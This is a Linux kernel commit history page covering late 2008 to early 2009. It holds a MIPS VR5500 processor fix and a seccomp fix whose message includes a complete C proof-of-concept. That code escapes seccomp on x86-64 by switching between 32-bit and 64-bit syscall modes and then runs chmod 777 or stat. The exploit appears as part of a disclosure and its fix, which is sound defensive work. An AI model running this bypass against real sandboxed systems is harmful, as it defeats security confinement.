1. 12 3月, 2009 1 次提交
    • S
      MIPS: NEC VR5500 processor support fixup · a644b277
      Shinya Kuribayashi 提交于
      Current VR5500 processor support lacks of some functions which are
      expected to be configured/synthesized on arch initialization.
      
      Here're some VR5500A spec notes:
      
      * All execution hazards are handled in hardware.
      
      * Once VR5500A stops the operation of the pipeline by WAIT instruction,
        it could return from the standby mode only when either a reset, NMI
        request, or all enabled interrupts is/are detected.  In other words,
        if interrupts are disabled by Status.IE=0, it keeps in standby mode
        even when interrupts are internally asserted.
      
        Notes on WAIT: The operation of the processor is undefined if WAIT
        insn is in the branch delay slot.  The operation is also undefined
        if WAIT insn is executed when Status.EXL and Status.ERL are set to 1.
      
      * VR5500A core only implements the Load prefetch.
      
      With these changes, it boots fine.
      Signed-off-by: NShinya Kuribayashi <shinya.kuribayashi@necel.com>
      Signed-off-by: NRalf Baechle <ralf@linux-mips.org>
      a644b277
  2. 09 3月, 2009 1 次提交
  3. 03 3月, 2009 1 次提交
    • R
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
  4. 10 2月, 2009 1 次提交
  5. 31 1月, 2009 7 次提交
  6. 15 1月, 2009 1 次提交
  7. 11 1月, 2009 22 次提交
  8. 07 1月, 2009 2 次提交
  9. 26 12月, 2008 1 次提交
  10. 22 12月, 2008 2 次提交
  11. 13 12月, 2008 1 次提交